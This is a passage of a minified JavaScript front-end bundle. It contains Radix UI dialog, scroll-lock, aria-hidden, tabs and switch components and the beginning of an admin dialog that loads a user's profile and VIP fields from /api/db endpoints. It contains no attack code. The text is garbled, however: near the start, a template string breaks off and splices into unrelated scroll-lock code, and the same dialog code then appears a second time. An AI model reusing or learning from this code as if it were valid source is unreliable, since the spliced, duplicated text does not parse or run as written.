o,c;(o=t.onCloseAutoFocus)==null||o.call(t,i),i.defaultPrevented||(r.current||(c=n.triggerRef.current)==null||c.focus(),i.preventDefault()),r.current=!1,a.current=!1},onInteractOutside:i=>{var u,h;(u=t.onInteractOutside)==null||u.call(t,i),i.defaultPrevented||(r.current=!0,i.detail.originalEvent.type==="pointerdown"&&(a.current=!0));const o=i.target;((h=n.triggerRef.current)==null?void 0:h.contains(o))&&i.preventDefault(),i.detail.originalEvent.type==="focusin"&&a.current&&i.preventDefault()}})}),Vj=b.forwardRef((t,e)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:a,onCloseAutoFocus:i,...o}=t,c=Ts(yo,n),u=b.useRef(null),h=Ct(e,u);return Sj(),s.jsxs(s.Fragment,{children:[s.jsx(Kx,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:a,onUnmountAutoFocus:i,children:s.jsx(Ux,{role:"dialog",id:c.contentId,"aria-describedby":c.descriptionId,"aria-labelledby":c.titleId,"data-state":Qx(c.open),...o,ref:h,onDismiss:()=>c.onOpenChange(!1)})}),s.jsxs(s.Fragment,{children:[s.jsx(AR,{titleId:c.titleId}),s.jsx(RR,{contentRef:u,descriptionId:c.descriptionId})]})]})}),Yx="DialogTitle",Hj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Yx,n);return s.jsx(ht.h2,{id:a.titleId,...r,ref:e})});Hj.displayName=Yx;var Wj="DialogDescription",Uj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Wj,n);return s.jsx(ht.p,{id:a.descriptionId,...r,ref:e})});Uj.displayName=Wj;var Kj="DialogClose",qj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Kj,n);return s.jsx(ht.button,{type:"button",...r,ref:e,onClick:ot(t.onClick,()=>a.onOpenChange(!1))})});qj.displayName=Kj;function Qx(t){return t?"open":"closed"}var Gj="DialogTitleWarning",[qV,Jj]=aI(Gj,{contentName:yo,titleName:Yx,docsSlug:"dialog"}),AR=({titleId:t})=>{const e=Jj(Gj),n=`\`${e.contentName}\` requires a \`${e.titleName}\` for the component to be accessible for screen reader users. +`)},gR=0,al=[];function xR(t){var e=b.useRef([]),n=b.useRef([0,0]),r=b.useRef(),a=b.useState(gR++)[0],i=b.useState(Mj)[0],o=b.useRef(t);b.useEffect(function(){o.current=t},[t]),b.useEffect(function(){if(t.inert){document.body.classList.add("block-interactivity-".concat(a));var w=zI([t.lockRef.current],(t.shards||[]).map(c1),!0).filter(Boolean);return w.forEach(function(v){return v.classList.add("allow-interactivity-".concat(a))}),function(){document.body.classList.remove("block-interactivity-".concat(a)),w.forEach(function(v){return v.classList.remove("allow-interactivity-".concat(a))})}}},[t.inert,t.lockRef.current,t.shards]);var c=b.useCallback(function(w,v){if("touches"in w&&w.touches.length===2||w.type==="wheel"&&w.ctrlKey)return!o.current.allowPinchZoom;var k=Iu(w),C=n.current,E="deltaX"in w?w.deltaX:C[0]-k[0],T="deltaY"in w?w.deltaY:C[1]-k[1],I,O=w.target,L=Math.abs(E)>Math.abs(T)?"h":"v";if("touches"in w&&L==="h"&&O.type==="range")return!1;var R=window.getSelection(),D=R&&R.anchorNode,z=D?D===O||D.contains(O):!1;if(z)return!1;var Z=o1(L,O);if(!Z)return!0;if(Z?I=L:(I=L==="v"?"h":"v",Z=o1(L,O)),!Z)return!1;if(!r.current&&"changedTouches"in w&&(E||T)&&(r.current=I),!I)return!0;var ne=r.current||I;return fR(ne,v,w,ne==="h"?E:T)},[]),u=b.useCallback(function(w){var v=w;if(!(!al.length||al[al.length-1]!==i)){var k="deltaY"in v?l1(v):Iu(v),C=e.current.filter(function(I){return I.name===v.type&&(I.target===v.target||v.target===I.shadowParent)&&pR(I.delta,k)})[0];if(C&&C.should){v.cancelable&&v.preventDefault();return}if(!C){var E=(o.current.shards||[]).map(c1).filter(Boolean).filter(function(I){return I.contains(v.target)}),T=E.length>0?c(v,E[0]):!o.current.noIsolation;T&&v.cancelable&&v.preventDefault()}}},[]),h=b.useCallback(function(w,v,k,C){var E={name:w,delta:v,target:k,should:C,shadowParent:yR(k)};e.current.push(E),setTimeout(function(){e.current=e.current.filter(function(T){return T!==E})},1)},[]),f=b.useCallback(function(w){n.current=Iu(w),r.current=void 0},[]),m=b.useCallback(function(w){h(w.type,l1(w),w.target,c(w,t.lockRef.current))},[]),g=b.useCallback(function(w){h(w.type,Iu(w),w.target,c(w,t.lockRef.current))},[]);b.useEffect(function(){return al.push(i),t.setCallbacks({onScrollCapture:m,onWheelCapture:m,onTouchMoveCapture:g}),document.addEventListener("wheel",u,sl),document.addEventListener("touchmove",u,sl),document.addEventListener("touchstart",f,sl),function(){al=al.filter(function(w){return w!==i}),document.removeEventListener("wheel",u,sl),document.removeEventListener("touchmove",u,sl),document.removeEventListener("touchstart",f,sl)}},[]);var y=t.removeScrollBar,N=t.inert;return b.createElement(b.Fragment,null,N?b.createElement(i,{styles:mR(a)}):null,y?b.createElement(iR,{noRelative:t.noRelative,gapMode:t.gapMode}):null)}function yR(t){for(var e=null;t!==null;)t instanceof ShadowRoot&&(e=t.host,t=t.host),t=t.parentNode;return e}const bR=qI(Tj,xR);var Gx=b.forwardRef(function(t,e){return b.createElement(gf,Vs({},t,{ref:e,sideCar:bR}))});Gx.classNames=gf.classNames;var vR=function(t){if(typeof document>"u")return null;var e=Array.isArray(t)?t[0]:t;return e.ownerDocument.body},il=new WeakMap,Ru=new WeakMap,Pu={},$m=0,Pj=function(t){return t&&(t.host||Pj(t.parentNode))},NR=function(t,e){return e.map(function(n){if(t.contains(n))return n;var r=Pj(n);return r&&t.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",t,". Doing nothing"),null)}).filter(function(n){return!!n})},wR=function(t,e,n,r){var a=NR(e,Array.isArray(t)?t:[t]);Pu[n]||(Pu[n]=new WeakMap);var i=Pu[n],o=[],c=new Set,u=new Set(a),h=function(m){!m||c.has(m)||(c.add(m),h(m.parentNode))};a.forEach(h);var f=function(m){!m||u.has(m)||Array.prototype.forEach.call(m.children,function(g){if(c.has(g))f(g);else try{var y=g.getAttribute(r),N=y!==null&&y!=="false",w=(il.get(g)||0)+1,v=(i.get(g)||0)+1;il.set(g,w),i.set(g,v),o.push(g),w===1&&N&&Ru.set(g,!0),v===1&&g.setAttribute(n,"true"),N||g.setAttribute(r,"true")}catch(k){console.error("aria-hidden: cannot operate on ",g,k)}})};return f(e),c.clear(),$m++,function(){o.forEach(function(m){var g=il.get(m)-1,y=i.get(m)-1;il.set(m,g),i.set(m,y),g||(Ru.has(m)||m.removeAttribute(r),Ru.delete(m)),y||m.removeAttribute(n)}),$m--,$m||(il=new WeakMap,il=new WeakMap,Ru=new WeakMap,Pu={})}},Oj=function(t,e,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(t)?t:[t]),a=vR(t);return a?(r.push.apply(r,Array.from(a.querySelectorAll("[aria-live], script"))),wR(r,a,n,"aria-hidden")):function(){return null}},xf="Dialog",[Dj]=Ei(xf),[jR,Ts]=Dj(xf),Lj=t=>{const{__scopeDialog:e,children:n,open:r,defaultOpen:a,onOpenChange:i,modal:o=!0}=t,c=b.useRef(null),u=b.useRef(null),[h,f]=xo({prop:r,defaultProp:a??!1,onChange:i,caller:xf});return s.jsx(jR,{scope:e,triggerRef:c,contentRef:u,contentId:fi(),titleId:fi(),descriptionId:fi(),open:h,onOpenChange:f,onOpenToggle:b.useCallback(()=>f(m=>!m),[f]),modal:o,children:n})};Lj.displayName=xf;var _j="DialogTrigger",kR=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(_j,n),i=Ct(e,a.triggerRef);return s.jsx(ht.button,{type:"button","aria-haspopup":"dialog","aria-expanded":a.open,"aria-controls":a.contentId,"data-state":Qx(a.open),...r,ref:i,onClick:ot(t.onClick,a.onOpenToggle)})});kR.displayName=_j;var Jx="DialogPortal",[SR,zj]=Dj(Jx,{forceMount:void 0}),$j=t=>{const{__scopeDialog:e,forceMount:n,children:r,container:a}=t,i=Ts(Jx,e);return s.jsx(SR,{scope:e,forceMount:n,children:b.Children.map(r,o=>s.jsx(gd,{present:n||i.open,children:s.jsx(qx,{asChild:!0,container:a,children:o})}))})};$j.displayName=Jx;var ph="DialogOverlay",Fj=b.forwardRef((t,e)=>{const n=zj(ph,t.__scopeDialog),{forceMount:r=n.forceMount,...a}=t,i=Ts(ph,t.__scopeDialog);return i.modal?s.jsx(gd,{present:r||i.open,children:s.jsx(ER,{...a,ref:e})}):null});Fj.displayName=ph;var CR=ed("DialogOverlay.RemoveScroll"),ER=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(ph,n);return s.jsx(Gx,{as:CR,allowPinchZoom:!0,shards:[a.contentRef],children:s.jsx(ht.div,{"data-state":Qx(a.open),...r,ref:e,style:{pointerEvents:"auto",...r.style}})})}),yo="DialogContent",Bj=b.forwardRef((t,e)=>{const n=zj(yo,t.__scopeDialog),{forceMount:r=n.forceMount,...a}=t,i=Ts(yo,t.__scopeDialog);return s.jsx(gd,{present:r||i.open,children:i.modal?s.jsx(TR,{...a,ref:e}):s.jsx(MR,{...a,ref:e})})});Bj.displayName=yo;var TR=b.forwardRef((t,e)=>{const n=Ts(yo,t.__scopeDialog),r=b.useRef(null),a=Ct(e,n.contentRef,r);return b.useEffect(()=>{const i=r.current;if(i)return Oj(i)},[]),s.jsx(Vj,{...t,ref:a,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:ot(t.onCloseAutoFocus,i=>{var o;i.preventDefault(),(o=n.triggerRef.current)==null||o.focus()}),onPointerDownOutside:ot(t.onPointerDownOutside,i=>{const o=i.detail.originalEvent,c=o.button===0&&o.ctrlKey===!0;(o.button===2||c)&&i.preventDefault()}),onFocusOutside:ot(t.onFocusOutside,i=>i.preventDefault())})}),MR=b.forwardRef((t,e)=>{const n=Ts(yo,t.__scopeDialog),r=b.useRef(!1),a=b.useRef(!1);return s.jsx(Vj,{...t,ref:e,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:i=>{var o,c;(o=t.onCloseAutoFocus)==null||o.call(t,i),i.defaultPrevented||(r.current||(c=n.triggerRef.current)==null||c.focus(),i.preventDefault()),r.current=!1,a.current=!1},onInteractOutside:i=>{var u,h;(u=t.onInteractOutside)==null||u.call(t,i),i.defaultPrevented||(r.current=!0,i.detail.originalEvent.type==="pointerdown"&&(a.current=!0));const o=i.target;((h=n.triggerRef.current)==null?void 0:h.contains(o))&&i.preventDefault(),i.detail.originalEvent.type==="focusin"&&a.current&&i.preventDefault()}})}),Vj=b.forwardRef((t,e)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:a,onCloseAutoFocus:i,...o}=t,c=Ts(yo,n),u=b.useRef(null),h=Ct(e,u);return Sj(),s.jsxs(s.Fragment,{children:[s.jsx(Kx,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:a,onUnmountAutoFocus:i,children:s.jsx(Ux,{role:"dialog",id:c.contentId,"aria-describedby":c.descriptionId,"aria-labelledby":c.titleId,"data-state":Qx(c.open),...o,ref:h,onDismiss:()=>c.onOpenChange(!1)})}),s.jsxs(s.Fragment,{children:[s.jsx(AR,{titleId:c.titleId}),s.jsx(RR,{contentRef:u,descriptionId:c.descriptionId})]})]})}),Yx="DialogTitle",Hj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Yx,n);return s.jsx(ht.h2,{id:a.titleId,...r,ref:e})});Hj.displayName=Yx;var Wj="DialogDescription",Uj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Wj,n);return s.jsx(ht.p,{id:a.descriptionId,...r,ref:e})});Uj.displayName=Wj;var Kj="DialogClose",qj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Kj,n);return s.jsx(ht.button,{type:"button",...r,ref:e,onClick:ot(t.onClick,()=>a.onOpenChange(!1))})});qj.displayName=Kj;function Qx(t){return t?"open":"closed"}var Gj="DialogTitleWarning",[qV,Jj]=aI(Gj,{contentName:yo,titleName:Yx,docsSlug:"dialog"}),AR=({titleId:t})=>{const e=Jj(Gj),n=`\`${e.contentName}\` requires a \`${e.titleName}\` for the component to be accessible for screen reader users. If you want to hide the \`${e.titleName}\`, you can wrap it with our VisuallyHidden component. -For more information, see https://radix-ui.com/primitives/docs/components/${e.docsSlug}`;return b.useEffect(()=>{t&&(document.getElementById(t)||console.error(n))},[n,t]),null},IR="DialogDescriptionWarning",RR=({contentRef:t,descriptionId:e})=>{const r=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${Jj(IR).contentName}}.`;return b.useEffect(()=>{var i;const a=(i=t.current)==null?void 0:i.getAttribute("aria-describedby");e&&a&&(document.getElementById(e)||console.warn(r))},[r,t,e]),null},PR=Lj,OR=$j,DR=Fj,LR=Bj,_R=Hj,zR=Uj,$R=qj;function Dt(t){return s.jsx(PR,{"data-slot":"dialog",...t})}function FR(t){return s.jsx(OR,{...t})}const Yj=b.forwardRef(({className:t,...e},n)=>s.jsx(DR,{ref:n,className:Et("fixed inset-0 z-50 bg-black/50",t),...e}));Yj.displayName="DialogOverlay";const At=b.forwardRef(({className:t,children:e,showCloseButton:n=!0,...r},a)=>s.jsxs(FR,{children:[s.jsx(Yj,{}),s.jsxs(LR,{ref:a,"aria-describedby":void 0,className:Et("fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 gap-4 rounded-lg border bg-background p-6 shadow-lg",t),...r,children:[e,n&&s.jsxs($R,{className:"absolute right-4 top-4 rounded-sm opacity-70 hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none",children:[s.jsx(ir,{className:"h-4 w-4"}),s.jsx("span",{className:"sr-only",children:"Close"})]})]})]}));At.displayName="DialogContent";function Lt({className:t,...e}){return s.jsx("div",{className:Et("flex flex-col gap-2 text-center sm:text-left",t),...e})}function on({className:t,...e}){return s.jsx("div",{className:Et("flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",t),...e})}function _t(t){return s.jsx(_R,{className:"text-lg font-semibold leading-none",...t})}function yf(t){return s.jsx(zR,{className:"text-sm text-muted-foreground",...t})}const BR=cj("inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 transition-colors",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground",secondary:"border-transparent bg-secondary text-secondary-foreground",destructive:"border-transparent bg-destructive text-white",outline:"text-foreground"}},defaultVariants:{variant:"default"}});function qe({className:t,variant:e,asChild:n=!1,...r}){const a=n?ij:"span";return s.jsx(a,{className:Et(BR({variant:e}),t),...r})}var VR=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],HR=VR.reduce((t,e)=>{const n=aj(`Primitive.${e}`),r=b.forwardRef((a,i)=>{const{asChild:o,...c}=a,u=o?n:e;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),s.jsx(u,{...c,ref:i})});return r.displayName=`Primitive.${e}`,{...t,[e]:r}},{}),WR="Label",Qj=b.forwardRef((t,e)=>s.jsx(HR.label,{...t,ref:e,onMouseDown:n=>{var a;n.target.closest("button, input, select, textarea")||((a=t.onMouseDown)==null||a.call(t,n),!n.defaultPrevented&&n.detail>1&&n.preventDefault())}}));Qj.displayName=WR;var Xj=Qj;const X=b.forwardRef(({className:t,...e},n)=>s.jsx(Xj,{ref:n,className:Et("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70",t),...e}));X.displayName=Xj.displayName;function Xx(t){const e=t+"CollectionProvider",[n,r]=Ei(e),[a,i]=n(e,{collectionRef:{current:null},itemMap:new Map}),o=w=>{const{scope:v,children:k}=w,C=br.useRef(null),E=br.useRef(new Map).current;return s.jsx(a,{scope:v,itemMap:E,collectionRef:C,children:k})};o.displayName=e;const c=t+"CollectionSlot",u=ed(c),h=br.forwardRef((w,v)=>{const{scope:k,children:C}=w,E=i(c,k),T=Ct(v,E.collectionRef);return s.jsx(u,{ref:T,children:C})});h.displayName=c;const f=t+"CollectionItemSlot",m="data-radix-collection-item",g=ed(f),y=br.forwardRef((w,v)=>{const{scope:k,children:C,...E}=w,T=br.useRef(null),I=Ct(v,T),O=i(f,k);return br.useEffect(()=>(O.itemMap.set(T,{ref:T,...E}),()=>void O.itemMap.delete(T))),s.jsx(g,{[m]:"",ref:I,children:C})});y.displayName=f;function N(w){const v=i(t+"CollectionConsumer",w);return br.useCallback(()=>{const C=v.collectionRef.current;if(!C)return[];const E=Array.from(C.querySelectorAll(`[${m}]`));return Array.from(v.itemMap.values()).sort((O,L)=>E.indexOf(O.ref.current)-E.indexOf(L.ref.current))},[v.collectionRef,v.itemMap])}return[{Provider:o,Slot:h,ItemSlot:y},N,r]}var UR=b.createContext(void 0);function bf(t){const e=b.useContext(UR);return t||e||"ltr"}var Fm="rovingFocusGroup.onEntryFocus",KR={bubbles:!1,cancelable:!0},xd="RovingFocusGroup",[Fg,Zj,qR]=Xx(xd),[GR,ek]=Ei(xd,[qR]),[JR,YR]=GR(xd),tk=b.forwardRef((t,e)=>s.jsx(Fg.Provider,{scope:t.__scopeRovingFocusGroup,children:s.jsx(Fg.Slot,{scope:t.__scopeRovingFocusGroup,children:s.jsx(QR,{...t,ref:e})})}));tk.displayName=xd;var QR=b.forwardRef((t,e)=>{const{__scopeRovingFocusGroup:n,orientation:r,loop:a=!1,dir:i,currentTabStopId:o,defaultCurrentTabStopId:c,onCurrentTabStopIdChange:u,onEntryFocus:h,preventScrollOnEntryFocus:f=!1,...m}=t,g=b.useRef(null),y=Ct(e,g),N=bf(i),[w,v]=xo({prop:o,defaultProp:c??null,onChange:u,caller:xd}),[k,C]=b.useState(!1),E=bi(h),T=Zj(n),I=b.useRef(!1),[O,L]=b.useState(0);return b.useEffect(()=>{const R=g.current;if(R)return R.addEventListener(Fm,E),()=>R.removeEventListener(Fm,E)},[E]),s.jsx(JR,{scope:n,orientation:r,dir:N,loop:a,currentTabStopId:w,onItemFocus:b.useCallback(R=>v(R),[v]),onItemShiftTab:b.useCallback(()=>C(!0),[]),onFocusableItemAdd:b.useCallback(()=>L(R=>R+1),[]),onFocusableItemRemove:b.useCallback(()=>L(R=>R-1),[]),children:s.jsx(ht.div,{tabIndex:k||O===0?-1:0,"data-orientation":r,...m,ref:y,style:{outline:"none",...t.style},onMouseDown:ot(t.onMouseDown,()=>{I.current=!0}),onFocus:ot(t.onFocus,R=>{const D=!I.current;if(R.target===R.currentTarget&&D&&!k){const _=new CustomEvent(Fm,KR);if(R.currentTarget.dispatchEvent(_),!_.defaultPrevented){const Z=T().filter(H=>H.focusable),ne=Z.find(H=>H.active),fe=Z.find(H=>H.id===w),$=[ne,fe,...Z].filter(Boolean).map(H=>H.ref.current);sk($,f)}}I.current=!1}),onBlur:ot(t.onBlur,()=>C(!1))})})}),nk="RovingFocusGroupItem",rk=b.forwardRef((t,e)=>{const{__scopeRovingFocusGroup:n,focusable:r=!0,active:a=!1,tabStopId:i,children:o,...c}=t,u=fi(),h=i||u,f=YR(nk,n),m=f.currentTabStopId===h,g=Zj(n),{onFocusableItemAdd:y,onFocusableItemRemove:N,currentTabStopId:w}=f;return b.useEffect(()=>{if(r)return y(),()=>N()},[r,y,N]),s.jsx(Fg.ItemSlot,{scope:n,id:h,focusable:r,active:a,children:s.jsx(ht.span,{tabIndex:m?0:-1,"data-orientation":f.orientation,...c,ref:e,onMouseDown:ot(t.onMouseDown,v=>{r?f.onItemFocus(h):v.preventDefault()}),onFocus:ot(t.onFocus,()=>f.onItemFocus(h)),onKeyDown:ot(t.onKeyDown,v=>{if(v.key==="Tab"&&v.shiftKey){f.onItemShiftTab();return}if(v.target!==v.currentTarget)return;const k=eP(v,f.orientation,f.dir);if(k!==void 0){if(v.metaKey||v.ctrlKey||v.altKey||v.shiftKey)return;v.preventDefault();let E=g().filter(T=>T.focusable).map(T=>T.ref.current);if(k==="last")E.reverse();else if(k==="prev"||k==="next"){k==="prev"&&E.reverse();const T=E.indexOf(v.currentTarget);E=f.loop?tP(E,T+1):E.slice(T+1)}setTimeout(()=>sk(E))}}),children:typeof o=="function"?o({isCurrentTabStop:m,hasTabStop:w!=null}):o})})});rk.displayName=nk;var XR={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function ZR(t,e){return e!=="rtl"?t:t==="ArrowLeft"?"ArrowRight":t==="ArrowRight"?"ArrowLeft":t}function eP(t,e,n){const r=ZR(t.key,n);if(!(e==="vertical"&&["ArrowLeft","ArrowRight"].includes(r))&&!(e==="horizontal"&&["ArrowUp","ArrowDown"].includes(r)))return XR[r]}function sk(t,e=!1){const n=document.activeElement;for(const r of t)if(r===n||(r.focus({preventScroll:e}),document.activeElement!==n))return}function tP(t,e){return t.map((n,r)=>t[(e+r)%t.length])}var nP=tk,rP=rk,vf="Tabs",[sP]=Ei(vf,[ek]),ak=ek(),[aP,Zx]=sP(vf),ik=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,onValueChange:a,defaultValue:i,orientation:o="horizontal",dir:c,activationMode:u="automatic",...h}=t,f=bf(c),[m,g]=xo({prop:r,onChange:a,defaultProp:i??"",caller:vf});return s.jsx(aP,{scope:n,baseId:fi(),value:m,onValueChange:g,orientation:o,dir:f,activationMode:u,children:s.jsx(ht.div,{dir:f,"data-orientation":o,...h,ref:e})})});ik.displayName=vf;var ok="TabsList",lk=b.forwardRef((t,e)=>{const{__scopeTabs:n,loop:r=!0,...a}=t,i=Zx(ok,n),o=ak(n);return s.jsx(nP,{asChild:!0,...o,orientation:i.orientation,dir:i.dir,loop:r,children:s.jsx(ht.div,{role:"tablist","aria-orientation":i.orientation,...a,ref:e})})});lk.displayName=ok;var ck="TabsTrigger",dk=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,disabled:a=!1,...i}=t,o=Zx(ck,n),c=ak(n),u=fk(o.baseId,r),h=pk(o.baseId,r),f=r===o.value;return s.jsx(rP,{asChild:!0,...c,focusable:!a,active:f,children:s.jsx(ht.button,{type:"button",role:"tab","aria-selected":f,"aria-controls":h,"data-state":f?"active":"inactive","data-disabled":a?"":void 0,disabled:a,id:u,...i,ref:e,onMouseDown:ot(t.onMouseDown,m=>{!a&&m.button===0&&m.ctrlKey===!1?o.onValueChange(r):m.preventDefault()}),onKeyDown:ot(t.onKeyDown,m=>{[" ","Enter"].includes(m.key)&&o.onValueChange(r)}),onFocus:ot(t.onFocus,()=>{const m=o.activationMode!=="manual";!f&&!a&&m&&o.onValueChange(r)})})})});dk.displayName=ck;var uk="TabsContent",hk=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,forceMount:a,children:i,...o}=t,c=Zx(uk,n),u=fk(c.baseId,r),h=pk(c.baseId,r),f=r===c.value,m=b.useRef(f);return b.useEffect(()=>{const g=requestAnimationFrame(()=>m.current=!1);return()=>cancelAnimationFrame(g)},[]),s.jsx(gd,{present:a||f,children:({present:g})=>s.jsx(ht.div,{"data-state":f?"active":"inactive","data-orientation":c.orientation,role:"tabpanel","aria-labelledby":u,hidden:!g,id:h,tabIndex:0,...o,ref:e,style:{...t.style,animationDuration:m.current?"0s":void 0},children:g&&i})})});hk.displayName=uk;function fk(t,e){return`${t}-trigger-${e}`}function pk(t,e){return`${t}-content-${e}`}var iP=ik,mk=lk,gk=dk,xk=hk;const yd=iP,Ll=b.forwardRef(({className:t,...e},n)=>s.jsx(mk,{ref:n,className:Et("inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground",t),...e}));Ll.displayName=mk.displayName;const Zt=b.forwardRef(({className:t,...e},n)=>s.jsx(gk,{ref:n,className:Et("inline-flex items-center justify-center whitespace-nowrap rounded-md px-3 py-1 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow",t),...e}));Zt.displayName=gk.displayName;const en=b.forwardRef(({className:t,...e},n)=>s.jsx(xk,{ref:n,className:Et("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",t),...e}));en.displayName=xk.displayName;function e0(t){const e=b.useRef({value:t,previous:t});return b.useMemo(()=>(e.current.value!==t&&(e.current.previous=e.current.value,e.current.value=t),e.current.previous),[t])}function t0(t){const[e,n]=b.useState(void 0);return or(()=>{if(t){n({width:t.offsetWidth,height:t.offsetHeight});const r=new ResizeObserver(a=>{if(!Array.isArray(a)||!a.length)return;const i=a[0];let o,c;if("borderBoxSize"in i){const u=i.borderBoxSize,h=Array.isArray(u)?u[0]:u;o=h.inlineSize,c=h.blockSize}else o=t.offsetWidth,c=t.offsetHeight;n({width:o,height:c})});return r.observe(t,{box:"border-box"}),()=>r.unobserve(t)}else n(void 0)},[t]),e}var Nf="Switch",[oP]=Ei(Nf),[lP,cP]=oP(Nf),yk=b.forwardRef((t,e)=>{const{__scopeSwitch:n,name:r,checked:a,defaultChecked:i,required:o,disabled:c,value:u="on",onCheckedChange:h,form:f,...m}=t,[g,y]=b.useState(null),N=Ct(e,E=>y(E)),w=b.useRef(!1),v=g?f||!!g.closest("form"):!0,[k,C]=xo({prop:a,defaultProp:i??!1,onChange:h,caller:Nf});return s.jsxs(lP,{scope:n,checked:k,disabled:c,children:[s.jsx(ht.button,{type:"button",role:"switch","aria-checked":k,"aria-required":o,"data-state":wk(k),"data-disabled":c?"":void 0,disabled:c,value:u,...m,ref:N,onClick:ot(t.onClick,E=>{C(T=>!T),v&&(w.current=E.isPropagationStopped(),w.current||E.stopPropagation())})}),v&&s.jsx(Nk,{control:g,bubbles:!w.current,name:r,value:u,checked:k,required:o,disabled:c,form:f,style:{transform:"translateX(-100%)"}})]})});yk.displayName=Nf;var bk="SwitchThumb",vk=b.forwardRef((t,e)=>{const{__scopeSwitch:n,...r}=t,a=cP(bk,n);return s.jsx(ht.span,{"data-state":wk(a.checked),"data-disabled":a.disabled?"":void 0,...r,ref:e})});vk.displayName=bk;var dP="SwitchBubbleInput",Nk=b.forwardRef(({__scopeSwitch:t,control:e,checked:n,bubbles:r=!0,...a},i)=>{const o=b.useRef(null),c=Ct(o,i),u=e0(n),h=t0(e);return b.useEffect(()=>{const f=o.current;if(!f)return;const m=window.HTMLInputElement.prototype,y=Object.getOwnPropertyDescriptor(m,"checked").set;if(u!==n&&y){const N=new Event("click",{bubbles:r});y.call(f,n),f.dispatchEvent(N)}},[u,n,r]),s.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...a,tabIndex:-1,ref:c,style:{...a.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});Nk.displayName=dP;function wk(t){return t?"checked":"unchecked"}var jk=yk,uP=vk;const kt=b.forwardRef(({className:t,...e},n)=>s.jsx(jk,{className:Et("peer inline-flex h-5 w-9 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent shadow-sm transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-[#38bdac] focus-visible:ring-offset-2 focus-visible:ring-offset-[#0a1628] disabled:cursor-not-allowed disabled:opacity-50 data-[state=unchecked]:bg-gray-600 data-[state=checked]:bg-[#38bdac]",t),...e,ref:n,children:s.jsx(uP,{className:Et("pointer-events-none block h-4 w-4 rounded-full bg-white shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-4 data-[state=unchecked]:translate-x-0")})}));kt.displayName=jk.displayName;function n0({open:t,onClose:e,userId:n,onUserUpdated:r}){var Is;const[a,i]=b.useState(null),[o,c]=b.useState([]),[u,h]=b.useState([]),[f,m]=b.useState(null),[g,y]=b.useState(!1),[N,w]=b.useState(!1),[v,k]=b.useState(!1),[C,E]=b.useState("info"),[T,I]=b.useState(""),[O,L]=b.useState(""),[R,D]=b.useState([]),[_,Z]=b.useState(""),[ne,fe]=b.useState(""),[xe,$]=b.useState(""),[H,oe]=b.useState(!1),[P,K]=b.useState({isVip:!1,vipExpireDate:"",vipRole:"",vipName:"",vipProject:"",vipContact:"",vipBio:""}),[V,z]=b.useState([]),[U,le]=b.useState(!1),[J,Y]=b.useState(""),[B,re]=b.useState(""),[ue,ce]=b.useState(!1),[ye,Re]=b.useState(!1),[Le,lt]=b.useState(null),[Tt,ln]=b.useState(null),[yt,nn]=b.useState(""),[In,Mt]=b.useState(""),[Yt,rn]=b.useState(""),[Rn,pr]=b.useState(!1),[Pn,Hn]=b.useState(null),[q,We]=b.useState("");b.useEffect(()=>{t&&n&&(E("info"),lt(null),ln(null),Hn(null),We(""),fe(""),$(""),Je(),De("/api/db/vip-roles").then(pe=>{pe!=null&&pe.success&&pe.data&&z(pe.data)}).catch(()=>{}))},[t,n]);async function Je(){if(n){y(!0);try{const pe=await De(`/api/db/users?id=${encodeURIComponent(n)}`);if(pe!=null&&pe.success&&pe.user){const ge=pe.user;i(ge),I(ge.phone||""),L(ge.nickname||""),nn(ge.phone||""),Mt(ge.wechatId||""),rn(ge.openId||"");try{D(typeof ge.tags=="string"?JSON.parse(ge.tags||"[]"):[])}catch{D([])}K({isVip:!!(ge.isVip??!1),vipExpireDate:ge.vipExpireDate?String(ge.vipExpireDate).slice(0,10):"",vipRole:String(ge.vipRole??""),vipName:String(ge.vipName??""),vipProject:String(ge.vipProject??""),vipContact:String(ge.vipContact??""),vipBio:String(ge.vipBio??"")})}try{const ge=await 